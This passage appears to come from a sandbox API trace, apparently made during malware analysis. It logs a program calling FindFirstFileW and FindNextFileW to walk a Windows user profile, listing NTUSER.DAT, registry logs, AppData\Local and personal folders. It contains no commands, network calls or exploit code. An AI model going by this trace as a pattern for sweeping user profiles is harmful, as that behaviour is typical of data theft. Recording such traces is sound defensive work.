cAlternateFileName="")) returned 1 [0209.038] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x3ce3dbd0, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x19268d9a, ftLastAccessTime.dwHighDateTime=0x1d9b55d, ftLastWriteTime.dwLowDateTime=0x19268d9a, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0209.039] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0209.039] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0209.039] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x63434853, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0209.039] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0209.040] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0209.040] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0209.040] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0209.040] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8554708, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8554708, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0209.040] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0209.041] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0209.041] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0209.041] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0209.041] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0209.041] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0209.042] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0209.042] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf85a0b75, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf85a0b75, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0209.042] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dec60 | out: lpFindFileData=0x1e0dec60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.042] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0deec0) returned 1 [0209.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dee80) returned 1 [0209.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0de7d0) returned 1 [0209.042] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData", nBufferLength=0x105, lpBuffer=0x1e0de2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData", lpFilePart=0x0) returned 0x1d [0209.043] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\*"), lpFindFileData=0x1e0de4e0 | out: lpFindFileData=0x1e0de4e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.043] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.043] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0209.043] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0209.044] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf88757ca, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf88757ca, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0209.044] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf88757ca, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf88757ca, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0209.044] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0de700) returned 1 [0209.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0de6c0) returned 1 [0209.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0de7d0) returned 1 [0209.044] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData", nBufferLength=0x105, lpBuffer=0x1e0de2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData", lpFilePart=0x0) returned 0x1d [0209.044] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\*"), lpFindFileData=0x1e0de4e0 | out: lpFindFileData=0x1e0de4e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.045] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.045] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0209.045] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0209.045] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf88757ca, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf88757ca, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0209.046] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0de4a0 | out: lpFindFileData=0x1e0de4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.046] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0de700) returned 1 [0209.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0de6c0) returned 1 [0209.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0de010) returned 1 [0209.046] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1e0ddaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0209.046] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\*"), lpFindFileData=0x1e0ddd20 | out: lpFindFileData=0x1e0ddd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a8a0 [0209.047] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.047] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0209.047] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.047] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0209.048] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0209.048] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xb1dfb94f, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xb1dfb94f, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x2e4f6a9d, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x991d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0209.048] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0209.048] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b344cd, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0209.049] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4252734, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x4252734, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x4252734, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0209.049] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xddb04c43, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xddb04c43, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0209.049] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73f4dcd0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73f4dcd0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73f4dcd0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0209.049] FindNextFileW (in: hFindFile=0x1d46a8a0, lpFindFileData=0x1e0ddce0 | out: lpFindFileData=0x1e0ddce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc699b5c, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xdc699b5c, ftLastAccessTime.dwHighDateTime=0x1d70070, 